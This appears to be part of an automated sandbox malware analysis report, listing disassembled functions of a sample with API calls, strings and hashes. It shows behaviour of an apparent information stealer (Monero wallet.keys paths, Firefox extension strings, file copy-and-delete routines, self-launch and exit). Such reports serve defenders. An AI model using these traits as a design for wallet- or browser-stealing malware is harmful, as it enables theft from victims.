Download Yara Rule

APIs

StrStrA.SHLWAPI(0115E178,?,?,?,0039140C,?,0115E178,00000000), ref: 0039926C
lstrcpyn.KERNEL32(005CAB88,0115E178,0115E178,?,0039140C,?,0115E178), ref: 00399290
lstrlen.KERNEL32(?,?,0039140C,?,0115E178), ref: 003992A7
wsprintfA.USER32 ref: 003992C7

Strings

%s%s, xrefs: 003992B5

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: c0b38f44ade179499bf96e16e66e2c105aa0a22b8fd221d44008c373eb58d8d3
Instruction ID: ad1e8d353323ad1ad146f47ad606d3f36ffbee88219628bbf869166dbc264012
Opcode Fuzzy Hash: c0b38f44ade179499bf96e16e66e2c105aa0a22b8fd221d44008c373eb58d8d3
Instruction Fuzzy Hash: 86019E7550020CAFCB04DFE8C988EAE7BB9EB58358F148548F9099B204C635AA549B91

Function 003812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003812B4
RtlAllocateHeap.NTDLL(00000000), ref: 003812BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003812F5
RegCloseKey.ADVAPI32(?), ref: 003812FF

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: bdbbd0f8790430e57e8f981b4ff9e92a0810127794de3b5be4fba790d75114c2
Instruction ID: 4ca217422f8899104f96c4f287e36d8c2bc56c00aba07c8c38476ef559920c89
Opcode Fuzzy Hash: bdbbd0f8790430e57e8f981b4ff9e92a0810127794de3b5be4fba790d75114c2
Instruction Fuzzy Hash: 24011DB9A4020CBFDB00DFE0DC49FAEBBB8EB48705F008159FA0597280D6709A059B91

Function 0039C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0039C8EC
___crtLCMapStringA.LIBCMT ref: 0039C90C
___crtLCMapStringA.LIBCMT ref: 0039C931

Strings

, xrefs: 0039C896

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 7b7341884404827fefde2bc9778f001e2f98673208f2b33b9ff481b007edd087
Instruction ID: 916c93572e2d7d2c5c4c434819b838a97b06b298ac9cb1c8cdbdc1a611792908
Opcode Fuzzy Hash: 7b7341884404827fefde2bc9778f001e2f98673208f2b33b9ff481b007edd087
Instruction Fuzzy Hash: 2141F5B151079C5EDF228B248D95FFBBBECAB45704F1854E8E98A86182D3719A44CF60

Function 00396630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00396663

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

ShellExecuteEx.SHELL32(0000003C), ref: 00396726
ExitProcess.KERNEL32 ref: 00396755

Strings

<, xrefs: 003966D9

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 9f8a8cead0972a08c0e7e563685b8fd9f588e0784b7b717534e887cc33e8fc26
Instruction ID: d910416e87135a02df21188dea274fd6c4520ac9f441bf93b399fba75cf1a555
Opcode Fuzzy Hash: 9f8a8cead0972a08c0e7e563685b8fd9f588e0784b7b717534e887cc33e8fc26
Instruction Fuzzy Hash: 98312CB1801618ABDF15EB90DC96FDEBB78AF54300F404189F2096A191DF746B49CFAA

Function 003987C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003A0E28,00000000,?), ref: 0039882F
RtlAllocateHeap.NTDLL(00000000), ref: 00398836
wsprintfA.USER32 ref: 00398850

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Strings

%dx%d, xrefs: 00398847

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 80f2d3dfe9bfd0abfb9f826924e3bb5212bb61981908b48d67e78cc070dd4ad7
Instruction ID: 6132db35c8259e01b110a38edf589d10516b125139312c7cb7f82438d3c5d01b
Opcode Fuzzy Hash: 80f2d3dfe9bfd0abfb9f826924e3bb5212bb61981908b48d67e78cc070dd4ad7
Instruction Fuzzy Hash: 17214CB1E40608AFDB04DFD8DD49FAEBBB8FB48B05F104119F605A7280C779A904DBA1

Function 00398D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0039951E,00000000), ref: 00398D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00398D62
wsprintfW.USER32 ref: 00398D78

Strings

%hs, xrefs: 00398D6F

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1925e22a0a79c05c3fae585f3ccec872b38b473f53a345c642ae958e597cb56e
Instruction ID: d4ca25468d2c90a7e9750373d6ed5c2b3ea3f849062d1a79ee7a9a51fc39b50f
Opcode Fuzzy Hash: 1925e22a0a79c05c3fae585f3ccec872b38b473f53a345c642ae958e597cb56e
Instruction Fuzzy Hash: A6E08CB0A4020CBFE700DB94DC0AE697BBCEB0470AF000094FD0997280DA719E04AB96

Function 0038A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,0115A250,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0038A3FF
lstrlen.KERNEL32(00000000), ref: 0038A6BC

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

DeleteFileA.KERNEL32(00000000), ref: 0038A743

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a0a9ea63f3aa0dc60cc1cbec6669e7d03fd1605e1934a097dec42700debebc01
Instruction ID: e5e054d027b8cc5a4822bbbd9da4983cee8c4a5d289f3d8ee53e6547ddb46a4e
Opcode Fuzzy Hash: a0a9ea63f3aa0dc60cc1cbec6669e7d03fd1605e1934a097dec42700debebc01
Instruction Fuzzy Hash: 9BE1EF728205189BDF06FBA4DC92EEE7738BF14300F508259F5167A091EF306A4DDBA6

Function 0038D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,0115A250,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038D481
lstrlen.KERNEL32(00000000), ref: 0038D698
lstrlen.KERNEL32(00000000), ref: 0038D6AC
DeleteFileA.KERNEL32(00000000), ref: 0038D72B

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3f9a3f4d45ceadd76c4e743b67ae6fe2b330e65b5b92fde0eafdbb092197317e
Instruction ID: 922582bf5d6269c9307a87f0b82a4a81ca8ac03e21c9380f9b7b24045c087f1e
Opcode Fuzzy Hash: 3f9a3f4d45ceadd76c4e743b67ae6fe2b330e65b5b92fde0eafdbb092197317e
Instruction Fuzzy Hash: F3910E728105189BDF06FBA4DC96EEE7778AF14304F504268F507BA091EF346A49DBE2

Function 0038D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,0115A250,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038D801
lstrlen.KERNEL32(00000000), ref: 0038D99F
lstrlen.KERNEL32(00000000), ref: 0038D9B3
DeleteFileA.KERNEL32(00000000), ref: 0038DA32

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: af625d85f526364e9ef7779c8c918b222552ef01c9bec8a9de5df7a1153864d8
Instruction ID: f3d36959b2809c2997caa072579169486ec5b1cd1aceca1a82d0fa4bb5b3b5b0
Opcode Fuzzy Hash: af625d85f526364e9ef7779c8c918b222552ef01c9bec8a9de5df7a1153864d8
Instruction Fuzzy Hash: EA8111729205189BDF06FBA4DC96DEE7778BF14300F504268F507AA091EF346A09DBE2

Function 0038F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,003A1580,003A0D92), ref: 0038F54C
lstrlen.KERNEL32(00000000), ref: 0038F56B

Strings

^userContextId=4294967295, xrefs: 0038F59C
moz-extension+++, xrefs: 0038F5AD

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
